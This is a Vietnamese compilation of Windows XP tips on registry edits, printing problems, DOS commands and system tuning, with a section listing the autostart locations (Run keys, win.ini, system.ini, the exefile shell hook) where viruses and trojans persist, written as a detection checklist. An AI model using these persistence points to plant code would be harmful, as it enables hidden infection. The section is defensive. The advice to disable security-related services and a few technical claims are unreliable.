1. Vào Start > Run gõ Regedit rồi nhấn Enter.
2. Lần lượt duyệt tới các khóa HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Program Manager\Restrictions.
3.Cửa sổ bên phải, bạn tìm khóa NoSaveSettings. Trường hợp khóa này chưa có thì hãy tạo một giá trị DWORD mới và đặt tên là NoSaveSettings
4. Nhấp đúp lên giá trị này và chọn giá trị là 0.
5. Đóng Registry và khởi động lại máy tính.
Vài thủ thuật với lệnh DOS MD trong Windows XP
Trong Windows XP, DOS vẫn còn tồn tại, nên việc hiểu rõ các lệnh trong DOS sẽ rất hữu ích. Lệnh MD được dùng để tạo ra thư mục mới, thế nhưng trong Windows XP lệnh MD này có một số điểm mới khá thú vị:
1. Để tạo cùng lúc nhiều thư mục, bạn dùng cú pháp MD Thư_mục1 Thư_mục2....Ví dụ, để tạo cùng lúc các thư mục THIS, IS, A, TEST ở thư mục gốc ổ đĩa C, bạn gõ:
C:\> MD THIS IS A TEST
2. Để tạo nhanh một cây thư mục, bạn dùng cú pháp MD Thư_mục_cha\Thư_mục_con... Ví dụ để tạo thư mục THIS_IS, sau đó tạo thư mục A_TEST là thư mục con của THIS_IS, bạn gõ:
C:\> MD THIS_IS\A_TEST
3. Thông thường, tên thư mục chỉ có thể dài tối đa 8 ký tự, để đặt tên thư mục dài hơn, bạn thêm dấu ngoặc kép vào trước tên thư mục, ví dụ:
C:\> MD "THIS IS A TEST
Mười sự cố in ấn thường gặp và cách xử lý
Để giúp bạn tránh những sự cố trong khi in ấn, bài viết này sẽ điểm qua một số trường hợp trục trặc thường gặp nhất và hướng khắc phục chúng. Hy vọng qua bài viết này, bạn sẽ sử dụng chiếc máy in, một trong những công cụ không thể thiếu trong công việc thường ngày ở văn phòng, một cách hiệu quả hơn.
1/- Không có gì xuất hiện khi bạn cố in
Không thể in bất cứ nội dung gì là sự cố in thông thường nhất nhưng cách khắc phục thường cũng đơn giản nhất: Bạn phải kiểm tra để xem dây nguồn của máy in đã được cắm vào ổ điện, máy in đã được bật và nối với máy tính hay chưa (!).
2/- Các lề và các ngắt dòng trên các trang của bạn đều không thích hợp
Các lề của bạn quá rộng hoặc bạn in trên giấy có kích cỡ không chính xác (rất hay gặp nếu bạn nhận tài liệu từ một người khác). Trong trường hợp này hãy chọn File/Page Setup, nhấn tab Paper trong hộp thoại Page Setup và sau đó xem trong mục Paper Size để biết loại giấy Word sẽ dùng để in tài liệu. Nếu bạn thấy mục Paper Size là "A4 210x297mm" thì đây là một tiêu chuẩn kích cỡ giấy ngoại. Nhấp Cancel trong hộp thoại Page Setup và thực hiện các bước sau đây để giải quyết vấn đề này :
Chọn Tools/Options để mở hộp thoại Options.
Chọn tab Print.
Chọn hộp kiểm Allow A4/Letter Paper Resizing nếu nó chưa được chọn và nhấp OK.
In tài liệu của bạn
3. Bạn gặp sự cố trong việc in một tài liệu dài mà bạn đã chia thành các phần
Việc in các tài liệu đã được tổ chức thành các phần riêng biệt là điều rắc rối, đặc biệt nếu mỗi phần có sơ đồ đánh số riêng của nó (ví dụ, các trang trong phần thứ nhất của tài liệu - phần mục lục chẳng hạn - không được đánh số). Việc biết trang nào mà bạn đang xem và các trang nào để in có thể là điều khó khăn. Thanh Status cho bạn biết rằng bạn đang ở trang 8 nhưng tiêu đề trên trang 8 lại cho thấy rằng bạn đang ở trang 5 (trang thứ 5 trong phần hai). Vì thế, nếu một tài liệu được tổ chức thành các phần có cách đánh số trang khác nhau, hãy in lần lượt từng phần một.
4. Các Fonts có diện mạo không thích hợp
Trước tiên, bạn hãy xem tài liệu từ cửa sổ Print Layout để bạn có thể thấy các font hiển thị như thế nào. Nếu chúng không hiển thị đúng thì có thể tài liệu của bạn chứa các font mà máy in của bạn không hỗ trợ. Hãy thay thế các font này bằng các font TrueType. Những font này có các mẫu tự "TT" kế bên tên của chúng trên menu Font, có đặc điểm là hiển thị giống nhau khi được xem trên màn hình và khi được in ra giấy.
5. Hình ảnh không được in ra
Máy tính của bạn có thể thiếu bộ nhớ. Thử tắt máy, khởi động lại máy tính và in lại. Nếu như vậy vẫn không được gì, hãy kiểm tra những khả năng dưới đây :
Chọn File/Print và nhấp nút Options trong hộp thoại Print. Trong hộp thoại Print thứ hai, hãy đảm bảo hộp kiểm Drawing Object đã được chọn.
Cũng trong hộp thoại Print thứ hai, hãy đánh dấu vào hộp kiểm Draft Output để yêu cầu Word in các tài liệu với ít định dạng hơn. Tùy chọn này dùng để làm việc với các tài liệu trong giai đoạn sửa bản in.
6. Một trang trống được in tại cuối tài liệu
Trang trống được in ra bởi vì bạn để lại một vài đoạn trống ở cuối tài liệu. Nhấn CTRL+ END để đi đến cuối tài liệu, nhấp nút Show/Hide để xem các ký hiệu định dạng đoạn ở cuối văn bản và xoá các ký hiệu này.
7. Header và Footer xuất hiện không chính xác
Nếu header và footer của bạn không nằm vừa trên trang, không có đủ chỗ trống trong lề dành cho header hay footer hoặc chúng nằm trong phần không in ra của trang. Để tạo nhiều chỗ trống hơn cho các header và footer, hãy chọn File/Page Setup, chọn tab Margin trong hộp thoại Page Setup và phóng to lề trên và lề dưới. Đi đến tab Layout và tăng khoảng cách From Edge để header và foooter không bị đẩy vào phần không in của trang.
8. Word không cho bạn chọn lệnh File -> Print
Nếu lệnh File/Print mờ đi trên máy tính của bạn và bạn không thể chọn lệnh này là do máy tính của bạn không biết rằng nó được liên kết với một máy in. Hãy cài đặt lại máy in.
9. Bạn không thể in các đường viền trang
Hầu hết các máy in không thể in text hay hình ảnh nằm quá gần mép của trang. Theo mặc định, các đường viền nằm gần mép của trang, đây là lý do tại sao máy in của bạn không thể xử lý chúng. Hãy thực hiện các bước sau đây để giải quyết sự cố này :
Chọn Format/Borders and Shading. Hộp thoại Borders and Shading xuất hiện
Chọn tab Page Boder
Nhấp nút Options để mở hộp thoại Borders and Shading Options.
Bên dưới Margin, nhập các kích cỡ (tính theo điểm ảnh) lớn hơn vào các hộp Top, Bottom, Left và Right để di chuyển các đường viền hơi ra xa khỏi mép của trang.
Nhấp OK hai lần.
10. Máy in của bạn in quá chậm
Tốc độ in phụ thuộc vào tốc độ xử lý các yêu cầu in tài liệu. "In ở chế độ nền " nghĩa là Word có thể in các tệp trong khi bạn thực hiện những tác vụ khác - định dạng một tài liệu hay nhập văn bản chẳng hạn. Bằng cách tắt chế độ in nền, bạn yêu cầu Word dành tất cả nguồn tài nguyên của nó vào tác vụ in và kết quả các tài liệu sẽ được in nhanh hơn. Tuy nhiên, điểm bất lợi là bạn không thể thực hiện công việc nào cả trên tài liệu khi nó đang được in ra. Thực hiện các bước sau nếu bạn muốn tắt cơ chế in trong nền:
Chọn Tools/Options.
Chọn tab Print trong hộp thoại Options.
Hủy chọn hộp kiểm Background Printing và nhấp OK.
Một số lời khuyên khi sử dụng máy in để phục vụ cho việc in ấn
1. Bạn nên chọn mua chủng loại giấy in theo đúng yêu cầu của sách hướng dẫn đi kèm, không nên mua những giấy in kém chất lượng (như quá mỏng chẳng hạn) vì giấy chất lượng kém dễ bị kẹt trong khi in. Không nên để giấy in trong môi trường ẩm ướt vì như vậy khi in có thể sẽ có các đốm mực trên giấy.
2. Luôn cập nhật trình điều khiển (driver) cho máy in từ website của nhà sản xuất để cải thiện hoạt động của máy in như sửa lỗi các sự cố in ấn trong máy và có thêm nhiều tính năng mới.
3. Luôn dành thời gian vệ sinh máy in hàng tuần, không để bụi bẩn bám vào máy in hay giấy vụn sót lại trong máy vì nó sẽ dẫn đến hiện tượng kẹt giấy và nhất là bạn phải giữ cho đầu in (printhead) luôn được sạch.
10 Cách Tự Động Thực Thi File
Tất cả các loại virus, trojan và những trình hack đều có thể tự động thực thi bất cứ khi nào máy của bạn khởi động. Những file hay folder sau đều có điều kiện thuận lợi để tự thực thi khi hệ thống khởi động.
1. C:\autoexec.bat
Nếu bạn mở file này bằng notepad thì sẽ thấy có vài lệnh dos mà phải được thi hành lúc khởi động. Vì thế nếu có mục "C:\virus_folder\virus.exe" thì virus.exe sẽ luôn luôn chạy khi bạn khởi động PC.
2. C:\windows\Start Menu\programs\startup
Bất kỳ file nào ở trong thư mục này sẽ tự động thực thi khi khởi động PC.
3. C:\windows\win.ini
Ở file này dưới phần windows nếu có mục 'run=something.exe' hoặc 'load=something.exe' thì chắc chắn something.exe đó là virus hay trojan.
4. C:\windows\system.ini
Dưới phần boot theo mặc định thì có đoạn "shell=explorer.exe". Nhưng nếu là "shell=virus.exe,explorer.exe" thì máy của bạn đã bị dính virus.
5. C:\config.sys
File này chủ yếu là chứa những mục nhập của driver. Nhưng cũng cần theo dõi đề phòng.
6. C:\explorer.exe
nếu nó tồn tại thì sẽ thực thi đầu tiên ngoại trừ trường hợp thông thường là C:\windows\explorer.exe. Có tác dụng với Windows95, 98, ME. Nên cẩn thận!
Tip: Tất cả những file trên có thể được mở cùng lúc bằng cách vào Start -->> Run, gõ "sysedit" (không có dấu ").
7. Ở Registry có thể là
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run] "Something"="c:\directory\Trojan.exe"
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce] "Something"="c:\directory\virus.exe"
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices] "Something"="c:\directory\Trojan.exe"
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce] "Something"="c:\directory\Virus.exe"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] "Something"="c:\directory\Trojan.exe"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce] "Something"="c:\directory\virus.exe"
Lưu ý: - Chỉnh sửa registry rất là nguy hiểm. Nếu bạn không biết đó là cái gì thì đừng mở ra hay xóa nó. Chỉ cần sai một tí là phải cài lại win đó!
8. Registry Shell Open
[HKEY_CLASSES_ROOT\exefile\shell\open\command] [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\open\command]
Một key với giá trị "%1 %*" có đặt ở đây và đôi khi là những file thực thi nằm ở đây. Nó được sử dụng như: virus.exe "%1 %*"; và nhớ xem kỹ qua.
9. ICQ Net Detect
[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Agent\Apps\]
Key này bao gồm tất cả những file được thực thi nếu ICQ phát hiện bạn đã kết nối Internet. Bạn có thể hiểu rằng chức năng này của ICQ rất thuận tiện cho attacker.
10. ActiveX Component
[HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\Installed
Components\KeyName] StubPath=C:\directory\virus.exe
VÌ vậy nếu chương trình antivirus không phát hiện được virus hay trojan nhưng bạn vẫn còn nghi ngờ thì nên kiểm tra qua bằng những cách ở trên để chắc ràng mình đã an toàn hơn.
Làm thế nào để xóa các lệnh trong mục RUN của Windows.
Bấm chuột phải lên thanh Taskbar, chọn Properties. Ở cửa sổ hiện ra, chọn thẻ Start Menu, bấm Customize, bấm Clear rồi OK.
Một số dịch vụ bạn có thể vô hiệu hóa
Khi khởi động hệ thống, Windows sẽ tự động kích hoạt nhiều dịch vụ (services) mà người dùng không cần tới. Điều này làm thời gian khởi động máy lâu hơn và tiêu tốn nhiều tài nguyên hệ thống hơn. Do vậy, bạn có thể vô hiệu hóa những dịch vụ không cần thiết, cách thực hiện như sau:
Nhấp Start > Run... gõ lệnh msconfig rồi nhấn Enter, xuất hiện hộp thoại
Nhấp chọn thẻ Services. Trong danh sách bên dưới, hãy bỏ dấu kiểm trước các mục sau để vô hiệu hóa chúng. Sau đây là một số dịch vụ không cần thiết: Alerter, Application Management, Background Intelligent Transfer Service, Clipbook, Error Reporting Service, Fast User Switching, Help and Support, IMAPI CD-Burning COM Service, Indexing Service, IP SEC, Messenger, Net Logon, Network DDE, NT LM Security Support Provider, Performance Logs and Alerts, Portable Media Serial Number, QOS RSVP, Remote Desktop Help Session Manager, Remote Assistance, Remote Registry, Routing & Remote Access, Secondary Login, Smart Card, Smart Card Helper SSDP, Discovery Service TCP/IP NetBIOS Helper, Telnet, Uninterruptible Power Supply Service, Universal Plug and Play Device Host Upload Manager, Volume Shadow Copy Service, Web Client, Wireless Zero Configuration, WMI Performance Adapter.
Dọn dẹp thư mục Prefetch
WindowsXP sử dụng một kỹ thuật Prefetch, giúp giảm thời gian khởi động các ứng dụng mới dùng gần nhất. Sau một thời gian sử dụng, thư mục Prefetch bị đầy làm tốn dung lượng đĩa cứng. Để dọn dẹp thư mục này, bạn thực hiện như sau:
Nhấp Start > Run... gõ Prefetch rồi nhấn Enter.
Nhấn Ctrl-A để chọn tất cả các đối tượng.
Nhấn Delete để xóa.
Tạo tài khoản hạn chế: Có 2 loại tài khoản người dùng trong XP: tài khoản người quản trị hệ thống (Administrator account) và tài khoản người dùng hạn chế (Limited account).
Để tạo một tài khoản người dùng hạn chế, bạn phải đăng nhập vào tài khoản của người quản trị hệ thống. Chọn Start - Control Panel - User Accounts - Create A New Account. Đặt tên cho tài khoản mới này rồi nhấn Next. Trong hộp thoại mới, chọn Limited Account. Mỗi khi muốn tạo mới hay thay đổi thuộc tính của các tài khoản, bạn nhất quyết phải đăng nhập vào tài khoản người quản trị hệ thống.
WinRar nén file chia nhỏ dung lượng ra làm nhiều file:
Không chỉ nén file mà WinRar còn hỗ trợ các bạn nén file theo dung lượng tùy ý. Sau khi bạn Add to Archive thì ở ô Split to volumes, bytes.... bạn gõ dung lượng file muốn tạo ra khi nén. Ở đây sử dụng đơn vị Byte nên 1M = 1,024,000 (chú ý dùng dấu phẩy để chia đơn vị hàng nghìn) nếu bạn chưa rõ thì bật cái Calculator lên để chia, rồi OK là xong.
Tối ưu hóa cho USB: Trong Windows Explorer, nhấp phải chuột vào ổ USB của bạn chọn Properties. Chọn tiếp thẻ Hardware rồi chọn tên USB tương ứng. Chọn tiếp Properties. Hộp thoại mới sẽ hiện ra chọn thẻ Polices. Trong phần này, ta đánh dấu chọn vào mục "Optimize for quick remove" (tối ưu hóa cho việc tháo ra). Nếu bạn chọn mục này thì windows đọc và ghi trực tiếp lên USB và bạn có thể rút USB ra mà không cần thao tác loại bỏ an toàn (Safely Remove Hardware). Nếu bạn chọn "Optimize for performance" (tối ưu hóa cho tốc độ) khi bạn muốn đọc & ghi nhanh hơn. Do windows ghi dữ liệu tạm vào đĩa cứng, khi bạn thực hiện lệnh Safely Remove Hardware thì windows mới chuyển dữ liệu vào USB. Đây là nguyên nhân gây ra mất dữ liệu khi bạn rút USB ra mà không dùng lệnh.
Chúc thành công!NGUYỄN PHÚ AN
Bạn đang đọc truyện trên: truyentop.pro